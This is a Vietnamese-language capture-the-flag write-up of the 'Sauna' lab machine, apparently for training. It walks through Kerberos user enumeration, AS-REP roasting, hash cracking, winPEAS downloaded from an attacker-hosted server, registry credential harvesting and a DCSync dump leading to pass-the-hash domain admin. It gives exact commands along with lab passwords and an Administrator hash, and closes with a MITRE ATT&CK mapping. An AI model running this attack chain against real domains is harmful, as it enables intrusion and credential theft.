Tên: Quách vĩnh thạnh (aka Sheng)

**Sauna**

Mục lục

[1. Technicals Details 1](#_Toc152522878)

[1.1. Reconnaissance 1](#_Toc152522879)

[Nmap scan 1](#_Toc152522880)

[Web page 2](#_Toc152522881)

[SMB 3](#_Toc152522882)

[LDAP 4](#_Toc152522883)

[DNS 4](#_Toc152522884)

[Kuberos 4](#_Toc152522885)

[2.1. Initial Access 6](#_Toc152522886)

[AS-REP Roasting 6](#_Toc152522887)

[Crack password hash 6](#_Toc152522888)

[Windows Remote Management 7](#_Toc152522889)

[2.2. Privilege Escalation 7](#_Toc152522890)

[Enumeration (🡪svc\_loanmanager) 7](#_Toc152522891)

[Blood hound (🡪Root) 8](#_Toc152522892)

[2. Summary - Mapping MITRE ATT&CK 10](#_Toc152522893)

[Tactics: Reconnaissance 10](#_Toc152522894)

[Tactics: Credentials Access 10](#_Toc152522895)

[Tactics: Discovery 10](#_Toc152522896)

[Tactics: Lateral Movement 11](#_Toc152522897)

**1. Technicals Details**

**1.1. Reconnaissance**

**Nmap scan**

A screenshot of a computer

Description automatically generated A computer screen shot of white text

Description automatically generated

Phân tích kết quả của nmap, ta có các thông tin đáng chú ý sau:

* Có các services:
  + DNS port 53
  + Kerberos port 88
  + Ldap port 389: Domain EGOTISTICAL-BANK.LOCAL0
  + Dịch vụ Web port 80: chạy backend windows IIS httpd 10.0
  + SMB port 445: message signing enabled
  + Windows Remote Management port 5985

**Web page**

Danh sách các directory scan được từ dirsearch:**A computer screen with many colorful text

Description automatically generated**

/about.html

**A group of people in circles

Description automatically generated**

Ta biết được các nhân viên sau:

Fergus Smith

Shaun Coins

Sophie Driver

Hugo Bear

Bowie Taylor

Steven Kerb

/contact.html

A close-up of a sign

Description automatically generated

Tìm được thông tin user: W3layouts

### SMB

Sử dụng smbclient để kiểm tra, với null sessions ta hoàn toàn có thể login nhưng không có bất kì quyền gì để listing shares.

A screen shot of a computer

Description automatically generated

Khi tìm được credentials quay lại sau.

### LDAP

Kiểm tra đăng nhập được với anonymous login không bằng rpcclient:

A black background with white text

Description automatically generated

Không đăng nhập được.

A screen shot of a computer

Description automatically generated

Chạy lệnh để xem thông tin về domain:

ldapsearch -x -H ldap://10.129.95.180 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL'

Không chứa thông tin gì đặc biệt.

### DNS

A computer screen shot of a computer program

Description automatically generated

Không thu thập được thông tin gì đặc biệt.

### Kuberos

<https://github.com/ropnop/kerbrute>

Dùng tool này để brute force account. Chạy lệnh sau:

./kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.129.95.180

A screenshot of a computer

Description automatically generated

Ta thu được các account:

administrator@EGOTISTICAL-BANK.LOCAL

hsmith@EGOTISTICAL-BANK.LOCAL

Administrator@EGOTISTICAL-BANK.LOCAL

fsmith@EGOTISTICAL-BANK.LOCAL

Fsmith@EGOTISTICAL-BANK.LOCAL

Fsmith là account nhân viên Fergus Smith.

* Cách đặt tên là chữ cái đầu của họ + viết thường của tên + @EGOTISTICAL-BANK.LOCAL

Vd: [fsmith@EGOTISTICAL-BANK.LOCAL](mailto:fsmith@EGOTISTICAL-BANK.LOCAL)

Shaun Coins => Scoins@EGOTISTICAL-BANK.LOCAL

Sophie Driver => Sdriver@EGOTISTICAL-BANK.LOCAL

Hugo Bear => Hbear@EGOTISTICAL-BANK.LOCAL

Bowie Taylor => Btaylor@EGOTISTICAL-BANK.LOCAL

Steven Kerb => Skerb@EGOTISTICAL-BANK.LOCAL

Chỉ có mỗi user fsmith tồn tại.

Lưu các user lại thành một file để tiện sử dụng gồm:

administrator

hsmith

Administrator

fsmith

Fsmith

sauna

administrator@EGOTISTICAL-BANK.LOCAL

hsmith@EGOTISTICAL-BANK.LOCAL

Administrator@EGOTISTICAL-BANK.LOCAL

fsmith@EGOTISTICAL-BANK.LOCAL

[Fsmith@EGOTISTICAL-BANK.LOCAL](mailto:Fsmith@EGOTISTICAL-BANK.LOCAL)

W3layouts

## 2.1. Initial Access

## AS-REP Roasting

Điều kiện để xảy ra việc này là users không bật tính pre-authentication khi sử dụng kerberoast.

Để xác định user có bật hay không, nếu không ta có thể lấy được TGT của user thông qua GetNPUsers.py từ đó thực hiện crack để lấy được password.

Sử dụng GetNPUsers của impacket: https://github.com/fortra/impacket

Chạy lệnh sau để dump hash của các user:

python GetNPUsers.py -dc-ip 10.129.95.180 'EGOTISTICAL-BANK.LOCAL/' -usersfile users -no-pass

Kết quả

A screen shot of a computer

Description automatically generated

Thu được hash của fsmith.

## Crack password hash

Có thể sử dụng john hoặc hashcat để crack TGT với wordlist rockyou.txt.

Lưu nội dung file hash vào test.

Sử dụng hashcat để crack:

hashcat -m 18200 test ../rockyou.txt –force

A screenshot of a computer error

Description automatically generated

Ta thu được credentials:

Username: fsmith

Password: Thestrokes23

## Windows Remote Management

Sử dụng công cụ evil-winrm cùng với credentials vừa thu được ta kết nối thành công đến mục tiêu

Chạy lệnh sau:

evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23

A screenshot of a computer screen

Description automatically generated

## 2.2. Privilege Escalation

### Enumeration (🡪svc\_loanmanager)

Thu thập thông tin bằng winPEA: https://github.com/carlospolop/PEASS-ng/releases/tag/20231203-9cdcb38f

Mở server tại máy attacker:

python -m http.server 80

Tại máy victim tải file về và chạy:

wget [http://10.10.14.25/winPEASx86.exe -o sheng.exe](http://10.10.14.25/winPEASx86.exe%20-o%20sheng.exe)

A screenshot of a computer program

Description automatically generated A screenshot of a computer

Description automatically generated

Để xem thông tin những credentials tự động đăng nhập chạy lệnh sau:

reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"

A screenshot of a computer program

Description automatically generated

Ta thu được credential mới: **svc\_loanmanager:Moneymakestheworldgoround!**

Khi kiểm tra bằng lệnh: net user

**A screen shot of a computer

Description automatically generated**

Không tồn tại user **svc\_loanmanager** nên ta thay bằng **svc\_loanmgr**

A screen shot of a computer program

Description automatically generated

Kết nối account svc\_loanmgr thành công bằng evil-winrm.

### Blood hound (🡪Root)

Dùng bloodhound để thu thập thông tin của user svc\_loanmgr:

Tải tại đây: <https://bloodhound.readthedocs.io/en/latest/index.html>

Chạy lệnh:

neo4j console

sudo ./BloodHound --no-sandbox

Sẽ hiện lên page blood hound để tương tác và đăng nhập bằng account của mình.

Chạy lệnh để thu thập thông tin:

bloodhound-python -d EGOTISTICAL-BANK.LOCAL -c All -u svc\_loanmgr -p 'Moneymakestheworldgoround!' -ns 10.129.95.180

Upload các thông tin vừa thu được

Rồi chọn options: shortest path from domain admin ta được graph sau:

A diagram of a network

Description automatically generated

Khi leo lên egotisical-bank.local thì ta sẽ có được quyền domain admin

A screenshot of a computer

Description automatically generated

Chạy DCSync theo hướng dẫn:

lsadump::dcsync /domain:testlab.local /user:Administrator

Cách này dùng không được.

Chạy cách khác:

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc\_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180

A screen shot of a computer

Description automatically generated

Ta thu được hash của Administrator:

**Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::**

Dùng evil-winrm đăng nhập với hash vừa thu được ta chiếm được quyền admin.

A screen shot of a computer code

Description automatically generated

# 2. Summary - Mapping MITRE ATT&CK

## Tactics: Reconnaissance

|  |  |
| --- | --- |
| **Threat Actor Technique / Sub-Techniques** | **Threat Actor Procedure(s)** |
| Active Scanning **[**[**T1595**](https://attack.mitre.org/techniques/T1595/)**]** | Kẻ tấn công đã thực hiện trinh sát target để thu thập các thông tin sơ lược như IP, các port được mở và các service tương ứng. |

## Tactics: Credentials Access

|  |  |
| --- | --- |
| **Threat Actor Technique / Sub-Techniques** | **Threat Actor Procedure(s)** |
| OS Credential Dumping **[**[**T1003**](https://attack.mitre.org/techniques/T1003/)**]** | Dump thông tin hash của các user khác từ user đã chiếm được quyền. Dẫn đến nhưng user quyền cao cũng bị chiếm. |

## Tactics: Discovery

|  |  |
| --- | --- |
| **Threat Actor Technique / Sub-Techniques** | **Threat Actor Procedure(s)** |
| Account Discovery[[**T1087**](https://attack.mitre.org/techniques/T1087/)] | Kẻ tấn công thu thập những thông tin credentials lưu trữ trên hệ thống từ winlogon |

## Tactics: Lateral Movement

|  |  |
| --- | --- |
| **Threat Actor Technique / Sub-Techniques** | **Threat Actor Procedure(s)** |
| Exploitation of Remote Services **[**[T1210](https://attack.mitre.org/techniques/T1210/)**]** | Tận dụng dịch vụ điều khiển máy từ xa, kẻ tấn công thực hiện lateral movement từ những user đã chiếm được sang user khác. |